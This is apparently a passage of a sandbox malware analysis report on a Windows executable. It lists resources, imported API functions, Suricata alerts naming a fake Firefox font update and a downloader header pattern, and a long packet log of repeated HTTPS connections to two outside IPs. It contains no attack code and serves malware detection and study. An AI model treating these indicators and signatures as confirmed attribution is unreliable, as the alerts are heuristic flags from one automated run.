RT_DIALOG	0x78930	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x78a50	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x78b18	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x78b78	0x4c	data	English	United States	0.8026315789473685
RT_VERSION	0x78bc8	0x1b0	data	English	United States	0.5601851851851852
RT_MANIFEST	0x78d78	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T15:34:31.129127+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49802	23.51.25.9	443	TCP
2025-01-10T15:35:34.608177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49804	23.51.25.9	443	TCP
2025-01-10T15:36:33.821849+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.30	49806	142.250.190.78	443	TCP
2025-01-10T15:36:38.113121+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49808	23.51.25.9	443	TCP
2025-01-10T15:38:44.665383+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49831	23.51.25.9	443	TCP
2025-01-10T15:39:48.175114+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49844	23.51.25.9	443	TCP
2025-01-10T15:41:54.678799+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49867	23.51.25.9	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:36:33.246562958 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.246644020 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.246834993 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.269620895 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.269680977 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.550719023 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.551022053 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.551697969 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.551913977 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.590353012 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.590396881 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.590783119 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.590977907 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.594583035 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.638379097 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.821881056 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.822062969 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.822171926 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.822267056 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.822345018 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.822345972 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.822412014 CET	443	49806	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:33.822750092 CET	49806	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:33.992860079 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:33.992948055 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:33.993146896 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:33.993345976 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:33.993403912 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.270765066 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.271033049 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:34.273891926 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:34.273938894 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.274930000 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.275165081 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:34.275505066 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:34.318253994 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.688738108 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.688920021 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.688941956 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:34.689004898 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.689112902 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.689162970 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:34.689287901 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:34.714070082 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:34.714070082 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:34.714122057 CET	443	49807	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:34.714344978 CET	49807	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:44.725114107 CET	49809	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:44.725193977 CET	443	49809	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:44.725387096 CET	49809	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:44.725702047 CET	49809	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:44.725749016 CET	443	49809	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:44.988588095 CET	443	49809	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:44.988796949 CET	49809	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:44.989068031 CET	49809	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:44.989113092 CET	443	49809	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:44.989238024 CET	49809	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:44.989284039 CET	443	49809	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:45.259953976 CET	443	49809	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:45.260143042 CET	443	49809	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:45.260149956 CET	49809	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:45.260448933 CET	49809	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:45.264086962 CET	49809	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:45.264139891 CET	443	49809	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:45.304836035 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.304855108 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.305005074 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.305569887 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.305579901 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.565666914 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.565840006 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.566304922 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.566349030 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.566448927 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.566483021 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.914901972 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.915064096 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.915090084 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.915146112 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.915254116 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.915254116 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.915294886 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.915405035 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.915862083 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.915862083 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:45.915920019 CET	443	49810	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:45.916044950 CET	49810	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:55.956875086 CET	49811	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:55.956964970 CET	443	49811	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:55.957184076 CET	49811	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:55.957370996 CET	49811	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:55.957422972 CET	443	49811	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:56.221509933 CET	443	49811	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:56.221685886 CET	49811	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:56.221982956 CET	49811	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:56.222029924 CET	443	49811	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:56.222150087 CET	49811	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:56.222168922 CET	443	49811	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:56.489655018 CET	443	49811	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:56.489698887 CET	443	49811	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:56.489801884 CET	49811	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:56.490428925 CET	49811	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:56.490586042 CET	49811	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:36:56.490592957 CET	443	49811	142.250.190.78	192.168.11.30
Jan 10, 2025 15:36:56.507153988 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:56.507170916 CET	443	49812	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:56.507368088 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:56.507522106 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:56.507525921 CET	443	49812	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:56.757383108 CET	443	49812	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:56.757613897 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:56.757957935 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:56.757971048 CET	443	49812	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:56.758029938 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:56.758039951 CET	443	49812	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:57.096194029 CET	443	49812	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:57.096239090 CET	443	49812	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:57.096282005 CET	443	49812	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:57.096379042 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:57.096379042 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:57.096510887 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:57.096863031 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:57.096863031 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:36:57.096878052 CET	443	49812	142.250.191.225	192.168.11.30
Jan 10, 2025 15:36:57.097161055 CET	49812	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:07.126394987 CET	49813	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:07.126442909 CET	443	49813	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:07.126719952 CET	49813	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:07.126883030 CET	49813	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:07.126895905 CET	443	49813	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:07.379374981 CET	443	49813	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:07.379689932 CET	49813	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:07.379920959 CET	49813	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:07.379933119 CET	443	49813	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:07.380070925 CET	49813	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:07.380081892 CET	443	49813	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:07.650616884 CET	443	49813	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:07.650691032 CET	443	49813	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:07.650839090 CET	49813	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:07.650868893 CET	49813	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:07.651016951 CET	49813	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:07.651026011 CET	443	49813	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:07.673510075 CET	49814	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:07.673523903 CET	443	49814	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:07.673661947 CET	49814	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:07.673846960 CET	49814	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:07.673851013 CET	443	49814	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:07.924046040 CET	443	49814	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:07.924355984 CET	49814	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:07.924732924 CET	49814	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:07.924743891 CET	443	49814	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:07.924757004 CET	49814	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:07.924762964 CET	443	49814	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:08.275664091 CET	443	49814	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:08.275823116 CET	443	49814	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:08.275872946 CET	443	49814	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:08.275950909 CET	49814	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:08.276026011 CET	49814	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:08.276278019 CET	49814	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:08.276292086 CET	443	49814	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:18.295716047 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.295763969 CET	443	49815	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:18.296112061 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.296219110 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.296237946 CET	443	49815	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:18.548732042 CET	443	49815	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:18.549233913 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.549439907 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.549453974 CET	443	49815	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:18.549588919 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.549597979 CET	443	49815	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:18.822144032 CET	443	49815	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:18.822289944 CET	443	49815	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:18.822360992 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.822444916 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.822469950 CET	443	49815	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:18.822537899 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.822621107 CET	49815	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:18.849992037 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:18.850043058 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:18.850229979 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:18.850383997 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:18.850418091 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:19.108257055 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:19.108510971 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:19.108896017 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:19.108930111 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:19.109030962 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:19.109064102 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:19.501851082 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:19.501981974 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:19.501992941 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:19.502021074 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:19.502125978 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:19.502367973 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:19.502531052 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:19.502614975 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:19.502759933 CET	443	49816	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:19.502804041 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:19.502876997 CET	49816	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:29.527390957 CET	49817	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:29.527482986 CET	443	49817	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:29.527714014 CET	49817	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:29.527991056 CET	49817	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:29.528048038 CET	443	49817	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:29.787147045 CET	443	49817	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:29.787406921 CET	49817	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:29.788116932 CET	49817	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:29.788146973 CET	443	49817	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:29.788526058 CET	49817	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:29.788554907 CET	443	49817	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:30.064929962 CET	443	49817	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:30.065109015 CET	49817	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:30.065167904 CET	443	49817	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:30.065201044 CET	443	49817	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:30.065355062 CET	49817	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:30.065435886 CET	49817	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:30.065479040 CET	443	49817	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:30.065789938 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.065872908 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.066092968 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.066297054 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.066348076 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.321103096 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.321374893 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.322709084 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.322721004 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.322957993 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.323173046 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.323597908 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.366292953 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.682720900 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.682919025 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.682977915 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.683038950 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.683084011 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:30.683125019 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.683316946 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.683444977 CET	49818	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:30.683501959 CET	443	49818	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:40.743940115 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:40.743959904 CET	443	49819	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:40.744180918 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:40.744524002 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:40.744535923 CET	443	49819	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:41.006387949 CET	443	49819	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:41.006602049 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:41.007019043 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:41.007062912 CET	443	49819	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:41.007375956 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:41.007420063 CET	443	49819	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:41.278740883 CET	443	49819	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:41.278927088 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:41.278985023 CET	443	49819	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:41.279201031 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:41.279244900 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:41.279468060 CET	443	49819	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:41.279598951 CET	443	49819	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:41.279678106 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:41.279741049 CET	49819	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:41.301959038 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:41.301979065 CET	443	49820	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:41.302156925 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:41.302561045 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:41.302571058 CET	443	49820	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:41.559416056 CET	443	49820	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:41.559684038 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:41.559984922 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:41.560030937 CET	443	49820	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:41.560126066 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:41.560173035 CET	443	49820	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:42.028415918 CET	443	49820	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:42.028526068 CET	443	49820	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:42.028727055 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:42.028728008 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:42.028784990 CET	443	49820	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:42.029048920 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:42.029352903 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:42.029527903 CET	443	49820	142.250.191.225	192.168.11.30
Jan 10, 2025 15:37:42.029779911 CET	49820	443	192.168.11.30	142.250.191.225
Jan 10, 2025 15:37:52.084614038 CET	49821	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:52.084708929 CET	443	49821	142.250.190.78	192.168.11.30
Jan 10, 2025 15:37:52.084908962 CET	49821	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:52.085230112 CET	49821	443	192.168.11.30	142.250.190.78
Jan 10, 2025 15:37:52.085284948 CET	443	49821	142.250.190.78	192.168.11.30
